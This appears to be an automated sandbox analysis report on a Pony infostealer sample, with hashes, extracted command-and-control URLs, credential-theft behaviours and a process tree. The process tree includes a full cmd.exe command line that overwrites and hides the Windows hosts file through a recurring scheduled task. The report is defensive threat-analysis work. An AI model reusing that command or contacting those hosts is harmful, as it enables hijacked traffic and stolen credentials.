Analysis
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max time kernel
122s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
19/10/2024, 19:14
Static task
static1
Behavioral task
behavioral1
Sample
5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe
Resource
win10v2004-20241007-en
General
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Target
5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe
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Size
90KB
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MD5
5e381c344e78d54d58e5db9b5ef14250
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SHA1
170ee1446d38210012a6ff326c129a1a5781b09d
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SHA256
8f771d7974ffa92559b879c30059eea51e157beb513721bf9a46f0639e1a01b3
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SHA512
00822d8e8c0bcae0bb6ccadb9bfc4ba438a62754afa685f8ab088dceb9724e368daaa4c46abdf075364ec693f2376131e9b6c0240406dd2780884697ac9776c9
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SSDEEP
1536:77/R8RHzreA5Kj2WcM+UqTa/XFXhNJ9Yme6/6W7KGgIIH9VY:6zCXjNqTa/1kdIeGgIIY
Malware Config
Extracted
pony
http://ldepteu.pw:4915/way/like.php
http://kclkeuy.pw:4915/way/like.php
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File created C:\Windows\system32\drivers\etc\tmp.tmp 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 2760 at.exe 2660 cmd.exe -
resource yara_rule behavioral1/memory/1960-2-0x0000000000400000-0x0000000000422000-memory.dmp upx behavioral1/memory/1960-4-0x0000000000400000-0x0000000000422000-memory.dmp upx behavioral1/memory/1960-10-0x0000000000400000-0x0000000000422000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeTcbPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeBackupPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeRestorePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeImpersonatePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeTcbPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeBackupPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeRestorePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeImpersonatePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeTcbPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeBackupPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeRestorePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeImpersonatePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeTcbPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeBackupPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeRestorePrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1960 wrote to memory of 2660 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe 31 PID 1960 wrote to memory of 2660 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe 31 PID 1960 wrote to memory of 2660 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe 31 PID 1960 wrote to memory of 2660 1960 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe 31 PID 2660 wrote to memory of 2760 2660 cmd.exe 33 PID 2660 wrote to memory of 2760 2660 cmd.exe 33 PID 2660 wrote to memory of 2760 2660 cmd.exe 33 PID 2660 wrote to memory of 2760 2660 cmd.exe 33 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\5e381c344e78d54d58e5db9b5ef14250_JaffaCakes118.exe"1⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1960 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 19:18:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259475573aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\SysWOW64\at.exeat 19:18:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259475573aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:2760
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